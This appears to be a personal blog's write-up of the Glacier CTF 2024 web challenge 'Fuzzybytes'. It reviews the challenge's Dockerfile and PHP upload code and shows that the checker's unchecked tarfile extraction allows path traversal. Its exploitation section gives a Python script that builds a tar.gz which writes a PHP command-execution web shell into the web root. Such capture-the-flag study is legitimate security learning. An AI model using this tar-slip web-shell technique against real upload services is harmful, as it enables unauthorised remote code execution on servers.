rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

CTF: GLACIER CTF 2024


image


Challenges


Web: Fuzzybytes

image


CODE REVIEW


# Debian 12
# PHP 8.7.3
# Apache 2.4.59
FROM docker.io/library/php@sha256:b3ff205fcc739fc504750dab29d4c30afb2702730d37a1068a16c14f30a7d48f

RUN apt-get update && apt-get install -y python3 && apt-get clean

# Copy challenge required files
COPY ./config/php.ini $PHP_INI_DIR/php.ini
COPY ./web /var/www/html
COPY ./check_for_malicious_code.py /usr/
COPY ./flag.txt /root/flag.txt

RUN chown www-data:www-data /var/www/html/databases
RUN chmod +s /bin/tar
COPY ./config/php.ini $PHP_INI_DIR/php.ini
COPY ./web /var/www/html
COPY ./check_for_malicious_code.py /usr/
COPY ./flag.txt /root/flag.txt

RUN chown www-data:www-data /var/www/html/databases
RUN chmod +s /bin/tar
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $uploadDir = "/tmp/";
    $targetFile = $uploadDir . basename($_FILES["file"]["name"]);
    $fileExtension = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
    $allowedExtensions = array('gz');

    echo '<div id="log"></div>';

    if (!in_array($fileExtension, $allowedExtensions)) {
        echo "Sorry, only .tar.gz files are allowed.";
        exit();
    }

    ob_start();

    
    function addLog($message) {
        echo "<script>document.getElementById('log').innerHTML += '$message<br>';</script>";
        ob_flush();
        flush();
    }

    addLog("Unpacking file...");
    
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $targetFile)) {
        addLog("The file " . htmlspecialchars(basename($_FILES["file"]["name"])) . " has been uploaded.");

        if ($fileExtension === 'gz') {
            addLog("Scanning file...");

            // Execute python malware checker
            exec("python3 /usr/check_for_malicious_code.py " . escapeshellarg($targetFile), $output, $returnCode);

            if ($returnCode === 0) {
                addLog("Python script executed successfully.");
            } else {
                addLog("Error executing Python script.");
            }

            unlink($targetFile);
            addLog("Cleaning up...");

            addLog("Done.");

        }
    } else {
        addLog("Sorry, there was an error uploading your file.");
    }

    ob_end_flush();
}
?>



<link rel="stylesheet" type="text/css" href="styles.css">
<a href="index.php" class="back-button">Back to Homepage</a>
exec("python3 /usr/check_for_malicious_code.py " . escapeshellarg($targetFile), $output, $returnCode);
try:
    with tarfile.open(tar_file_path, 'r:gz') as tar:
        if not os.path.exists("/tmp/files_for_checking"):
            os.mkdir("/tmp/files_for_checking")
        tar.extractall("/tmp/files_for_checking")
    print("Successfully extracted the contents of the .tar file.")

Exploitation

#! /usr/bin/env python3
import tarfile
import io

tar = tarfile.TarFile.open('malicious.tar.gz', 'w:gz')

info = tarfile.TarInfo("../../var/www/html/databases/shell.php")
info.mode=0o444 # So it cannot be overwritten
php_shell = b"<?php echo system($_GET['cmd']); ?>"
info.size=len(php_shell)
tar.addfile(info,io.BytesIO(php_shell))
tar.close()

image

image

image

image


Reference-: